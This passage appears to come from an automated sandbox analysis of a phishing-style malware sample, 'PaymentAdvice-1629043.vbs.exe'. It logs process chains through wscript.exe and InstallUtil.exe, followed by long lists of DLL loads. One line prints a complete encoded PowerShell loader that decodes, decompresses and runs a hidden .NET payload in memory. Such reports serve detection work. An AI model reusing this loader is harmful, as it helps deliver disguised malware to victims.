lAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Value.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Value.vbs.exe "C:\Users\user\AppData\Roaming\Value.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: usermgrproxy.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: usermgrproxy.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: atl.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: msisip.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: wshext.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntvdm64.dll
